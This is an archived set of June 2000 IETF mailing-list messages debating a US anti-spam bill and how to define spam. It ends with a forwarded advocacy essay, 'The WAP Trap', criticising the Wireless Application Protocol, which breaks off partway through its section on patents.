Perhaps a future First Lady Tipper Gore will try to help you out
there, as she did for the consumers of recorded music.


Around here, we've been warned against sending "profane content" by
people who obviously don't know the meaning of "profane".



From owner-ietf-outbound  Mon Jun 19 17:01:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA23367
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 17:00:02 -0400 (EDT)
Received: from torque.pothole.com ([38.138.52.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA23254
	for <ietf@ietf.org>; Mon, 19 Jun 2000 16:50:20 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by torque.pothole.com (8.8.2/8.8.8) with SMTP id QAA20844
	for ietf@ietf.org; Mon, 19 Jun 2000 16:52:28 -0400 (EDT)
Message-Id: <200006192052.QAA20844@torque.pothole.com>
X-Authentication-Warning: torque.pothole.com: localhost [127.0.0.1] didn't use HELO protocol
To: ietf@ietf.org
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
In-reply-to: Your message of "Mon, 19 Jun 2000 10:37:35 CDT."
             <200006191537.KAA13415@rgfsparc.cr.usgs.gov> 
Date: Mon, 19 Jun 2000 16:52:28 -0400
From: "Donald E. Eastlake 3rd" <dee3@torque.pothole.com>
X-Mts: smtp
X-Loop: ietf@ietf.org


While this may be important enough to have some discusion on the
general IETF list, I would point out that there does exist an IETF
working group in this area: RUN, Responsible Use of the Net
<http://www.ietf.org/html.charters/run-charter.html>.  This working
group produced RFC 2635 which was adopted by the IETF Consensus
process.

Donald

From:  "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Message-Id:  <200006191537.KAA13415@rgfsparc.cr.usgs.gov>
Date:  Mon, 19 Jun 2000 10:37:35 -0500 (CDT)
Reply-To:  "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
To:  ietf@ietf.org

X-Loop:  ietf@ietf.org
>> It is also impossible to differentiate between so-called
>> spam and expressions of a personal political, social or
>> artistic nature. 
>
>Herein lies one of the major issues that ought to be sorted out before 
>anyone takes any steps to regulate spam.  What is spam, exactly?  There seems  
>to be a wide variety of notions as to what constitutes a spam.  Some 
>people define it in its original context; i.e., unsolicited commercial 
>email.  Others broaden the definition to include offensive or off-topic 
>remarks on a public or private list.  Still others would include *any* email 
>they didn't want to receive as 'spam.'  It would be extremely challenging and 
>largely useless to attempt to regulate what you can't even categorize, methinks.
>
>RGF
>
>Robert G. Ferrell
>========================================
> Who goeth without humor goeth unarmed.
>========================================
>



From owner-ietf-outbound  Mon Jun 19 18:30:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA24679
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 18:30:04 -0400 (EDT)
Received: from zot.localdomain (IDENT:root@ip240.cvd2.rb1.bel.nwlink.com [207.202.151.240])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24648
	for <ietf@ietf.org>; Mon, 19 Jun 2000 18:29:08 -0400 (EDT)
Received: from flash.localdomain (IDENT:root@flash [10.0.0.6])
	by zot.localdomain (8.9.3/8.9.3) with ESMTP id PAA23002;
	Mon, 19 Jun 2000 15:29:08 -0700
Received: (from mark@localhost)
	by flash.localdomain (8.9.3/8.9.3) id PAA02608;
	Mon, 19 Jun 2000 15:33:45 -0700
X-Authentication-Warning: flash.localdomain: mark set sender to mra@pobox.com using -f
Sender: mark@flash.localdomain
To: Chip Rosenthal <chip@unicom.com>
Cc: ietf@ietf.org
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail
References: <4.3.1.0.20000615185233.02f6b830@209.81.50.25>
	<200006160135.VAA03516@astro.cs.utk.edu>
	<20000616121844.B26443@chinacat.unicom.com>
From: Mark Atwood <mra@pobox.com>
Date: 19 Jun 2000 15:33:44 -0700
In-Reply-To: Chip Rosenthal's message of "Fri, 16 Jun 2000 12:18:44 -0500"
Message-ID: <m3k8fl1et3.fsf@flash.localdomain>
Lines: 22
User-Agent: Gnus/5.0806 (Gnus v5.8.6) Emacs/20.3
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Loop: ietf@ietf.org

Chip Rosenthal <chip@unicom.com> writes:

> On Thu, Jun 15, 2000 at 09:35:23PM -0400, Keith Moore wrote:
> > And I hope that the courts will finally realize that freedom of speech 
> > includes the freedom not to have your communications disrupted by people 
> > who want to sell you things.
> 
> The biggest problem with the bill, as it currently reads, is that the
> transport notification has been dropped.  There was an ID by Hoffman
> and Levine (I believe since expired, can't find it now) that allowed
> an organization to "opt out" from unsolicited commercial email by
> indicating so in the SMTP banner.

Rescap Profile for Mail User Agents
draft-hoffman-rescap-mua-02.txt
November 20, 1999

-- 
Mark Atwood   | It is the hardest thing for intellectuals to understand, that
mra@pobox.com | just because they haven't thought of something, somebody else
              | might. <http://www.friesian.com/rifkin.htm>
http://www.pobox.com/~mra



From owner-ietf-outbound  Mon Jun 19 19:30:59 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA25445
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 19:30:02 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA25387
	for <ietf@ietf.org>; Mon, 19 Jun 2000 19:24:04 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id RAA27462
	for ietf@ietf.org  env-from <vjs>;
	Mon, 19 Jun 2000 17:24:02 -0600 (MDT)
Date: Mon, 19 Jun 2000 17:24:02 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200006192324.RAA27462@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail
X-Loop: ietf@ietf.org

> From: "Donald E. Eastlake 3rd" <dee3@TORQUE.POTHOLE.COM>
>
> While this may be important enough to have some discusion on the
> general IETF list, I would point out that there does exist an IETF
> working group in this area: RUN, Responsible Use of the Net
> <http://www.ietf.org/html.charters/run-charter.html>.  This working
> group produced RFC 2635 which was adopted by the IETF Consensus
> process.

> ...
> >Herein lies one of the major issues that ought to be sorted out before 
>>anyone takes any steps to regulate spam.  What is spam, exactly?  There seems 
> >to be a wide variety of notions as to what constitutes a spam.  Some 
> >people define it in its original context; i.e., unsolicited commercial 
> >email.  Others broaden the definition to include offensive or off-topic 
> >remarks on a public or private list.  Still others would include *any* email 
>>they didn't want to receive as 'spam. ...

There are surely better places to argue about spam.  If you can use
killfiles, the news.admin.net-abuse.email newsgroup is a hotbed of
discussions of such as the definition of spam.


RFC 2635 does not really define email spam.  The following definitions
are common.  I list them not to start a long flame war, but to counter
the (surprising to me) ignorance about the issue.  If you disagree
with my blatant bias, please assume everyone else will and don't bother
correcting me.

  1. unsolicited bulk email, or email at least some of which is received
   by many people who did not explicitly or implicitly ask for it
   (e.g. by foolishly giving their addresses to sleazy vendors that
   don't say they won't spam.)

  2. unsolicited commercial mail even if not bulk.

  3. unsolicited promotional including commercial mail, also even if not bulk.

  4. anything someone doesn't like.

  5. various definitions from kooks and sleazy merchants and advertisers
   trying to carve exceptions for their missives or trying to paint as
   kooks or fools all who don't like unsolicited advertising.

Among people with technical and administrative clues, #1 is the very clear
consensus.  In it, "bulk" is intentionally vague, but almost no one who
favors #1 is willing to argue against any definition of "bulk" between
half a dozen and a few gross.  The messages that comprise a spam spew
defined by #1 need be only essentially identical instead of byte-for-byte
the same, partly because spammers like to "target" their drivel, partly
because they try to evade spam filters, and mostly because they're
incompetent at everything including sending bulk email.  When you're
running systems, it's usually easy to painfully easy to know when a message
is "bulk" because your systems will often hiccup, your logs will overflow,
and you'll get complaints from many targets.  On the other hand, people
with operational responsibilities rarely want to get involved in the
judging of content that the other definitions require--at least not after
a little real world experience.

#2 is favored by many individuals who have never had operational
responsibilities, because it is usually impossible for an individual spam
target to know instead of merely reliably guess whether an unsolicited
message is one of a bulk blast, and because they're often not gun-shy
about judging content.  #2 is also favored by CAUCE and many other
self-described charitable and political organizations who presumably hope
to send unsolicited notes promoting their causes and soliciting funds.
(Or perhaps CAUCE advocates #1 but with an exception for non-profit spam;
I forget.  That is one cause for the previously mentioned distrust of
CAUCE.  Another is the continued, paid involvement of a major CAUCE figure
with AllAdvantage.com, which some people view as an unrepentant,
irredeemable solicitor of spam because they say AllAdvantage.com continues
to pay spammers money.)  #3 is commonly advocated by individuals without
operational experience, but who dislike political and charitable spam as
much as other advertising.  #4 is commonly proposed by spammers as a straw
man to show how impossible it would be to regulate or prohibit spam, as
well as by people who haven't thought about the problem.


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Mon Jun 19 20:20:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA26032
	for ietf-outbound.10@ietf.org; Mon, 19 Jun 2000 20:20:02 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA26009
	for <ietf@ietf.org>; Mon, 19 Jun 2000 20:18:03 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id SAA28533
	for ietf@ietf.org  env-from <vjs>;
	Mon, 19 Jun 2000 18:18:02 -0600 (MDT)
Date: Mon, 19 Jun 2000 18:18:02 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200006200018.SAA28533@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: please remove APNIC from the IETF list
X-Loop: ietf@ietf.org

sheesh!--talk about unsolicited garbage.

It's bad enough that every message sent to the main IETF lists generates
several bounces and vacation messages from the hordes who subscribe to
the list and don't know to use their computers (and so have no business
subscribing), but this is over the top.

Could someone please remove what seems to be the main APNIC contact address
from the IETF's main list?  And do it with prejudice (i.e. so that it
cannot be re-subscribed)?


Vernon Schryver    vjs@rhyolite.com



> From info@apnic.net Mon Jun 19 17:54:30 2000
> Received: from guardian.apnic.net (guardian.apnic.net [203.37.255.100])
> 	by calcite.rhyolite.com (8.9.3/calcite) with ESMTP id RAA27907
> 	for <vjs@calcite.rhyolite.com>  env-from <info@apnic.net>;
> 	Mon, 19 Jun 2000 17:54:26 -0600 (MDT)
> Received: (from mail@localhost)
> 	by guardian.apnic.net (8.9.3/8.9.3) id JAA28650
> 	for <vjs@calcite.rhyolite.com>; Tue, 20 Jun 2000 09:53:42 +1000 (EST)
> Received: from hadrian.staff.apnic.net(192.168.1.1) by int-gw.staff.apnic.net via smap (V2.1)
> 	id xma028593; Tue, 20 Jun 00 09:53:13 +1000
> Received: (from info@localhost)
> 	by hadrian.staff.apnic.net (8.9.3/8.9.3) id JAA03097;
> 	Tue, 20 Jun 2000 09:53:13 +1000 (EST)
> Date: Tue, 20 Jun 2000 09:53:13 +1000 (EST)
> From: APNIC Automatic Information Server <info@apnic.net>
> Message-Id: <200006192353.JAA03097@hadrian.staff.apnic.net>
> X-Loop: ietf@ietf.org
> To: vjs@calcite.rhyolite.com
> Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail
> References: <200006192324.RAA27462@calcite.rhyolite.com>
> In-Reply-To: <200006192324.RAA27462@calcite.rhyolite.com>
> Precedence: junk
> X-Loop: info@apnic.net
>
> -- 
>                  ###################################
>                  ## This is an automated response ##
>                  ###################################
>
> What is APNIC:
>
>     The Asia Pacific Network Information Centre (APNIC), is the Regional
> ...



From owner-ietf-outbound  Tue Jun 20 02:00:47 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA07386
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 02:00:03 -0400 (EDT)
Received: from dns.sersol.com (dns.sersol.com [207.104.153.110])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07309
	for <ietf@ietf.org>; Tue, 20 Jun 2000 01:54:48 -0400 (EDT)
Received: (from root@localhost) by dns.sersol.com (8.8.7/UW7.0.1) id WAA04536; Mon, 19 Jun 2000 22:54:29 -0700 (PDT)
Received: from www.sersol.com(207.104.153.109) by dns
	id sma004508; Mon Jun 19 22:54:25 2000
X-Envelope-From: <netsurf@sersol.com>
From: "James Wilson" <netsurf@sersol.com>
To: "Mark Atwood" <mra@POBOX.COM>, "Chip Rosenthal" <chip@unicom.com>
Cc: <ietf@ietf.org>
Subject: RE: fyi.. House Committee Passes Bill Limiting Spam E-Mail
Date: Mon, 19 Jun 2000 22:53:24 -0700
Message-ID: <NDBBIBIGNFLMCGPHDLKEIEECCBAA.netsurf@sersol.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
In-Reply-To: <m3k8fl1et3.fsf@flash.localdomain>
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Unsolicited bulk or commercial email.  Fairly straightforward. 
Unsolicited, as in you did not ask to receive it.  Bulk, as in sent to
masses of people, including but not limited to "repent ye sinners" and
"fund my charity" or "vote for me."  Commercial, as in intended to
generate income directly or indirectly.  Basically any form of
cost-shifted advertisement, profit or non-profit.

The issue is that if you want to blast out your ad, whatever the
content, you should not make other people i.e. the intermediary
networks/hijacked relays and end recipients, pay for transporting and
receiving the ad.  

The problem is that so long as there are ISP's who knowingly provide
services to the spammers including hosting websites when the spammers
spam via separate providers, there will be volume spam.  If every US
provider, including those providing transit service outside of the US,
refused to peer/do business with providers who allow spammers on their
network/host websites for spammers and sent those feeds to null0, spam
could be reduced significantly.    If those providers' feeds were
blocked from the US backbone until they canned the spam they might put
a stop to it on their side of the pond.  Right now a large percentage
of the spam is being relayed by servers external to the US,
particularly from .jp and .kr and Telstra/Big Pond in .au.  Most of
the websites themselves are being hosted in the US by providers who
won't nuke a site that is spamvertized.

Radical, perhaps.  A technical solution, yes.  If you don't want laws,
you need a technical solution.  If you don't want technical solutions
like the RBL (blocking feeds,) then pass laws to punish the
spamhaus/spamophiles/Rodonas of the net and the providers who enable
their spew.  One way or another something has to be done, as the
spammers and their providers are killing email as a viable business
medium with its (spams) negative halo effect, and everyone is paying
for it except the spammers and their providers.

- -
James D. Wilson, CCDA, MCP
"non sunt multiplicanda entia praeter necessitatem"
William of Ockham (1285-1347/49)
 


- -----Original Message-----
From: mark@flash.localdomain [mailto:mark@flash.localdomain]On Behalf
Of
Mark Atwood
Sent: Monday, June 19, 2000 3:34 PM
To: Chip Rosenthal
Cc: ietf@ietf.org
Subject: Re: fyi.. House Committee Passes Bill Limiting Spam E-Mail


Chip Rosenthal <chip@unicom.com> writes:

> On Thu, Jun 15, 2000 at 09:35:23PM -0400, Keith Moore wrote:
> > And I hope that the courts will finally realize that freedom of
speech 
> > includes the freedom not to have your communications disrupted by
people 
> > who want to sell you things.
> 
> The biggest problem with the bill, as it currently reads, is that
the
> transport notification has been dropped.  There was an ID by Hoffman
> and Levine (I believe since expired, can't find it now) that allowed
> an organization to "opt out" from unsolicited commercial email by
> indicating so in the SMTP banner.

Rescap Profile for Mail User Agents
draft-hoffman-rescap-mua-02.txt
November 20, 1999

- -- 
Mark Atwood   | It is the hardest thing for intellectuals to
understand, that
mra@pobox.com | just because they haven't thought of something,
somebody else
              | might. <http://www.friesian.com/rifkin.htm>
http://www.pobox.com/~mra


-----BEGIN PGP SIGNATURE-----
Version: PGP 6.0.2
Comment: I live for the sound ... of nothing but net

iQA+AwUBOU8G0iavYwibXjmcEQJ2sACWKerKhM+f+G+cqdDdRxn0ljC96gCeOXtN
St+++K5XqfDVC6LerGusbd0=
=mWkW
-----END PGP SIGNATURE-----



From owner-ietf-outbound  Tue Jun 20 02:53:44 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA14429
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 02:53:19 -0400 (EDT)
Received: from tooran.byname.net ([198.62.92.29])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA14346
	for <ietf@ietf.org>; Tue, 20 Jun 2000 02:49:36 -0400 (EDT)
Received: (qmail 27720 invoked by uid 100); 20 Jun 2000 06:49:13 -0000
Date: 20 Jun 2000 06:49:13 -0000
Message-ID: <20000620064913.27719.qmail@tooran.byname.net>
MIME-Version: 1.0
From: Mohsen BANAN-Public <public@mohsen.banan.1.byname.net>
To: IETF Mailing List <ietf@ietf.org>
Subject: WAP Is A Trap -- Reject WAP
Content-Type: text/plain; charset=US-ASCII
X-Loop: ietf@ietf.org




[ Please distribute this as widely as possible, wherever appropriate. ]


----


                   The WAP Trap

  An Expose of the Wireless Application Protocol

 Mohsen Banan <public@mohsen.banan.1.byname.net>
                       for:
           Free Protocols Foundation
          http://www.FreeProtocols.org

                  Version 1.6
                  May 26, 2000


Copyright (c) 2000 Free Protocols Foundation.

Published by:
Free Protocols Foundation
17005 SE 31st Place,
Bellevue, WA 98008 USA

Permission is granted to make and distribute verbatim
copies of this document provided the copyright notice and
this permission notice are preserved on all copies.

Contents
========

1   Introduction
   1.1  The Wireless Application Protocol (WAP)
   1.2  Characteristics of Successful Protocols
   1.3  About this Document 
       1.3.1  Alternative Formats 
       1.3.2  Acknowledgments 
       1.3.3  Conflict of Interest Disclosure

2   WAP - A Procedural Fraud   
   2.1  Not Open in Terms of Development and Maintenance 
   2.2  No Assurance of Availability and Stability
   2.3  Not Patent-Free 
   2.4  No Legitimacy as a Standard  

3   WAP - A Technical Failure
   3.1  User Interface Assumptions 
   3.2  Extreme Accommodation to Existing Networks
   3.3  Excessive Re-Invention in the Name of Wireless 
   3.4  Vulnerable Wireless Transport Layer Security (WTLS)
   3.5  Bungled Protocol Number Assignment 

4   WAP - A Basic Misconception 
   4.1  The Wrong Answer Initially:  Mobile Web Browsing 
   4.2  The Right Answer Initially:  Mobile Messaging
   4.3  Unsupported Claims 
       4.3.1  Not Device-Independent
       4.3.2  Limited Web Browsing Capabilities
       4.3.3  Existing Technology Adequate
       4.3.4  Voice Interface Adequate 

5   Conclusion:  WAP is a Trap 

6   Preventing the Harm of WAP  
   6.1  Reform the WAP Forum   
   6.2  Spread the Word about the WAP Fraud 
   6.3  Reject WAP at Engineering Level 
   6.4  Reject WAP at Consumer Level 
   6.5  Adopt an Alternative to WAP 

7   LEAP: One Alternative To WAP


1   Introduction
================

The new Internet reality is that of wireless
networks, providing service to legions of
miniaturized, hand-held mobile devices.  This
places an entirely new set of requirements on the
underlying communications protocols -- they must
provide the power efficiency demanded by hand-held
wireless devices, together with the bandwidth
efficiency demanded by wide area wireless
networks.

At some point, the wireless data communications
industry must agree on a common set of standard
protocols that satisfies these requirements.
Unfortunately, the road to an industry standard is
a rocky one.  The wireless industry is populated
by a number of disparate constituencies and
self-interests.  Among these constituencies are
the technical community, with its fundamental
mandate to create sound engineering solutions, and
the business community, ultimately driven by the
pursuit of profit and marketplace advantage.  The
differing agendas of these constituencies
frequently bring them into conflict.

In this confusing environment it can be very
difficult to distinguish between developments that
are genuine, enabling technologies, and those that
are ill-conceived wild-goose chases.

1.1   The Wireless Application Protocol (WAP)
---------------------------------------------

Into this chaotic arena comes WAP. On April 30
1998, a group of business interests published a
set of specifications referred to as the Wireless
Application Protocol, or WAP. WAP is a
specification for wireless data communications
using hand-held devices such as mobile phones and
palmtop computers.  Use of the WAP specification
allows mobile devices to communicate with the
Internet or an intranet, providing the users of
these devices with mobile data communications
capabilities such as web-browsing and e-mail.
The WAP specification was developed by the WAP
Forum, an industry association of wireless device
manufacturers, service providers, and software
companies.  The WAP Forum was founded in June 1997
by three mobile phone manufacturers (Ericsson,
Motorola and Nokia), together with the US software
company Phone.com (formerly Unwired Planet).  The
WAP specification is largely the product of these
four founding companies.  Further information
about the WAP Forum can be found at its website at
http://www.wapforum.org/.

The Wireless Applications Protocol purports to be
just what the doctor ordered:  a set of standards
that will unify the wireless data applications
industry.  WAP presents itself as an open,
license-free standard for wireless Internet
access.  It claims to be a well-designed
engineering construction, allowing free
interoperability among wireless industry vendors.
It claims to be an enabling technology that will
catalyze the development of the wireless industry,
to the ultimate benefit of the industry and the
consumer.

As we will argue in this article, however, WAP
satisfies none of these claims.

1.2   Characteristics of Successful Protocols
---------------------------------------------

Industry standards do not usually come about as
the result of an orderly design process.
Especially in the early stages of industry
development, protocols and standards arise
organically, and without the benefit of hindsight.
Because of this, early protocols are frequently
very much less than ideal.  As Bill Joy, the
founder of Sun Microsystems, puts it,

    "Sometimes when you fill a vacuum, it
    still sucks."

Though his phrasing leaves much to be desired, his
point is beyond debate:  the most appalling
solution is better than no solution at all.

However, history has shown that successful
protocols tend have certain characteristics in
common.  By a "successful" protocol, we mean one
which becomes accepted as an industry standard in
the face of competing protocols, endures as an
standard in the long term, and serves to promote
the growth of the industry.

The key characteristics of a successful protocol
are:

 1. Adequate Technical Design.  It should address
    the basic technical requirements of the
    industry.  This means that the protocol must
    primarily be an engineering construct, not a
    business one.

 2. Open Development and Maintenance Process.
    Some form of mechanism should exist for public
    commentary on the protocol.  The protocol
    should be maintained by a process that allows
    the participation of the various
    constituencies that are affected by the
    protocol.

 3. Open Availability Process.  It should be
    published and made available in a way that
    ensures that it is freely, easily and
    permanently accessible to anyone who wishes to
    use it.

 4. Freedom from Usage Restrictions.  There should
    be no restrictions on the use of the protocol.
    Anyone who wishes to base an application on
    the protocol should be able to do so without
    legal or financial hindrance of any kind.

Not all successful protocols have all these
attributes.  Nevertheless, as the history of
protocol development demonstrates, the more a
protocol conforms to these attributes, the more
likely it is to become an enduring industry
standard.  An analysis of several successful and
failed protocols, supporting this conclusion, is
provided in The LEAP Manifesto [13].

WAP claims to have all four of the above
attributes.  In fact, it has none of them.  WAP
has claimed center stage not because it fulfills
the needs of the industry, but because thus far,
no viable alternative has been presented.

1.3   About this Document
-------------------------

In this article we will show that WAP is entirely
unfit for the purpose being claimed for it.  We
will show that it is handicapped as a result of
the processes the WAP Forum has used to develop
it, and that it includes numerous serious
technical design errors.  Our conclusion will be
that the WAP specification is essentially a
marketing construct, rather than an engineering
one.  It is designed to provide short-term
financial benefit to a minority of the WAP Forum
members, rather than providing long-term benefit
to the industry at large and the consumer.

We will then enumerate and analyze the steps that
can be taken to prevent the harm of WAP. One of
the most crucial steps will be to identify
alternatives to WAP, and eventually adopt one of
these in place of WAP.

Finally, we will propose one alternative to WAP,
namely LEAP, the Lightweight and Efficient
Application Protocol.  We provide a brief
description of LEAP, and provide references to
where further information on LEAP can be found.
This article is one of a series of articles we
have written that analyze the current status of
the wireless data communications industry,
criticize WAP, and present our view of what is
truly needed to promote the growth of the
industry.  Other articles in this series are:

  o LEAP: One Alternative to WAP [12].  A
    companion paper to this one, taking over where
    this leaves off.  The scope of the current
    paper is largely limited to a critique of WAP.
    This companion paper describes a specific
    alternative to WAP.

  o The LEAP Manifesto [13].  This paper provides
    a complete analysis of the industry, and a
    detailed description of the LEAP protocols.

1.3.1   Alternative Formats
---------------------------

This document is available in several alternative
formats at the Free Protocols Foundation website
(http://www.FreeProtocols.org/wapTrap):

  o ONE-HTML: Displays the entire document as a
    single web page.

  o SPLIT-HTML: Displays the document as a set of
    linked web pages, starting from the Table of
    Contents.

  o PDF: Provides the document in Adobe Acrobat
    format.  Note that the Adobe Acrobat Reader is
    required to read this format.  The Acrobat
    Reader can be downloaded from the Adobe
    website.

  o PS: Provides the document in PostScript format
    for printing.

  o Text Only:  Provides the document in text-only
    format.

1.3.2   Acknowledgments
-----------------------

We gratefully acknowledge the assistance of the
following persons in the preparation and review of
this document:  Andrew Hammoude, Richard Stallman,
Bill Frezza and Rob Mechaley.

1.3.3   Conflict of Interest Disclosure
---------------------------------------

The authors of this article were also the initial
developers of LEAP, and therefore have a vested
interest in the success of LEAP over WAP.

However, we are also active participants in the
Free Protocols Foundation (FPF), under whose
auspices this article is being written.  As
participants in the FPF, we are fully committed to
its patent-free principles; principles which WAP
violates completely.  The mission of the Free
Protocols Foundation is to provide support for
patent-free protocols.  Part of this mission is to
provide support for patent-free alternatives to
patented protocols such as WAP. It is in the
spirit of this mission that this article is being
written.

The purpose of this article is not to promote LEAP
or any other particular alternative to WAP. The
purpose of this article is to expose the harm of
WAP and describe the steps that can be taken to
prevent it.  Any other viable alternatives to WAP
that are brought to our attention, and that
conform to the principles of the Free Protocols
Foundation, will be promptly referenced at the FPF
website, and included in subsequent versions of
this article.

The most recent version of this article,
describing all known alternatives to WAP, will be
maintained on the FPF website at
http://www.FreeProtocols.org.

2   WAP - A Procedural Fraud
============================

There are two distinct sets of problems relating
to WAP: procedural, and technical.  In this
section we will describe the procedural problems.
The procedural problems lie in the processes that
the WAP Forum has used to develop and disseminate
the WAP specifications.

2.1   Not Open in Terms of Development and Maintenance
------------------------------------------------------

A highly desirable attribute of an industry
standard protocol is that it be the result of an
open design process.  What this means is that,
somewhere along the line, the various
constituencies that have a stake in the protocol
be given a voice in its development.

This does not mean that the protocol must be
conceived and built from the ground up by
industry-wide consensus.  Indeed, this is usually
impractical, and of necessity, the first drafts of
any protocol are usually created by a small group,
functioning autonomously.

An open design process means only that at a
certain point, ownership of the protocol must
become public.  Beyond that point, the various
industry constituencies must be given an
opportunity to participate in its design, and the
design process must include mechanisms for
reaching consensus among conflicting lobbies.
Openness of design has two important benefits.
First, it allows the protocol to be subjected to
adequate technical review, ensuring that it is a
sound engineering solution.  Second, it prevents
the design of the protocol from being excessively
influenced by minority business self-interests.
An open design process provides vital assurance of
the integrity of the resulting protocol, in both
engineering and business terms.

The WAP specification is in complete violation of
these principles.  The specification has been
developed exclusively by the WAP Forum, entirely
behind closed doors, and without the benefit of a
single public mailing list for discussion and
review.  The WAP Forum permits no outside
influence over the specification; the only
institutions that my participate in its
development and maintenance are the WAP Forum
members themselves.

The WAP Forum claims that the specification is
open, on the grounds that any company or
organization is free to join the forum.  While
technically this is true, membership in the Forum
carries a $27,000 entrance fee (as of February
2000).  In practice, this fee effectively excludes
most small businesses, and virtually all academic
institutions.

The WAP Forum is therefore a highly restricted
subset of the business and academic community, and
influence over the specification is limited to
those companies that can afford this entrance fee.
The specification is thus the creation of a
limited constituency of the telecommunications
world; specifically, it is primarily the creation
of a set of telephone manufacturers.  Though
important, the telephone manufacturers represent
just a single component of the world of data
communications.  In creating WAP, grossly
inadequate consideration has been given to other
important disciplines and constituencies, such as
the Internet engineering community, the academic
community, and the small business community.

2.2   No Assurance of Availability and Stability
------------------------------------------------

An essential attribute of an industry standard
protocol is that it be freely and permanently
accessible to anyone who wishes to use it.  In the
Internet world, this is traditionally accomplished
by means of RFC publication.  RFC publication
provides the following important benefits:

  o World-Wide Distribution.  RFC publication
    ensures unrestricted world-wide distribution
    of the published protocol.  There are many Web
    and FTP sites world-wide that carry the
    complete series of RFC documents - if any one
    site is busy or unavailable, someone seeking
    an RFC can simply go to another.

  o Unrestricted Distribution.  A user may
    download an RFC publication completely freely,
    without incurring any legal restrictions
    whatsoever.  All that is required to acquire
    the full text of an RFC is its number or
    title.

  o Permanence.  RFC publication is permanent.
    Even if the creator of a protocol should go
    out of business or otherwise become defunct,
    the RFC will remain in existence.

  o Stability.  Once published, an RFC is fixed --
    it cannot undergo change.  If a new revision
    of the standard must be issued, this is
    handled by issuing the revision under a new
    RFC number.

The WAP specifications do not carry these same
assurances of free and permanent availability.
Rather than being published as an RFC or by
another third-party agency, the specifications are
self-published by the WAP Forum.  As a result of
this, each of the above benefits of RFC
publication is in some way diminished:

  o Limited Distribution.  The specifications are
    only available from a single source:  the WAP
    Forum itself.  If the WAP Forum web site
    should happen to be down, the specifications
    are simply unavailable.

  o Restricted Distribution.  In order to download
    any particular WAP specification, a user must
    agree to a license agreement.

  o Diminished Permanence.  The permanence of the
    WAP specifications is only as good as that of
    the WAP Forum itself.  If the WAP Forum should
    ever become defunct and cease operations, all
    its specifications will become orphaned.

  o Diminished Stability.  The WAP Forum does not
    guarantee the stability of its specifications.
    As of February 2000, each WAP specification
    carries on its title page the disclaimer,

    ``This document is subject to change without
    notice.''

This last item is particularly worrisome.  A key
attribute of a protocol is that any particular
revision of it be fixed -- indeed, this is the
very definition of a standard.  The WAP Forum's
disclaimer gives it the power to modify individual
revisions of the specification at will -- an
extraordinary power to hold over something that
purports to be an industry standard.  This is not
a purely theoretical concern -- the WAP Forum has
already exercised this power inappropriately [14].

Of overriding significance is the fact that the
WAP Forum has declined to publish its
specifications as RFCs.  For all the above
reasons, Internet-related protocols are always
published as RFCs -- this is the mainstream,
industry-standard, method for publication of
Internet protocols.  RFC publication is
well-understood and accepted within the Internet
community, and fully represents the spirit of
cooperation which is characteristic of this
community.  Quite simply, there is no good reason
to do otherwise.

Yet the WAP Forum has done otherwise.  Our
question is:  Why?  We can think of only three
plausible reasons:

 1. The specifications are so technically
    deficient that they do not meet the minimum
    standards required for RFC publication.

 2. The WAP Forum wishes to retain full control
    over the specifications, including the ability
    to change them at will, without regard to the
    resulting loss of stability.

 3. The WAP Forum wishes to impose copyright
    restrictions on the protocols beyond those
    provided by RFC publication.

Whatever the reason, the WAP Forum evidently does
not subscribe to the spirit of openness and
cooperation represented by RFC publication and
practiced by the Internet engineering community at
large.

2.3   Not Patent-Free
---------------------

An essential attribute of an industry building
protocol is that there must be no restrictions on
its usage.  In particular, there must be no patent
restrictions on the use of the protocol.

The WAP specification, however, is burdened with
several patent restrictions.  These include
patents held by certain members of the WAP Forum
itself, most notably Phone.com and Geoworks.
Patent infringement claims have already been made
by the holders of the following patents:

  o U.S. Patent # 5,327,529 (Geoworks).  Process
    of designing user's interfaces for application
    programs.

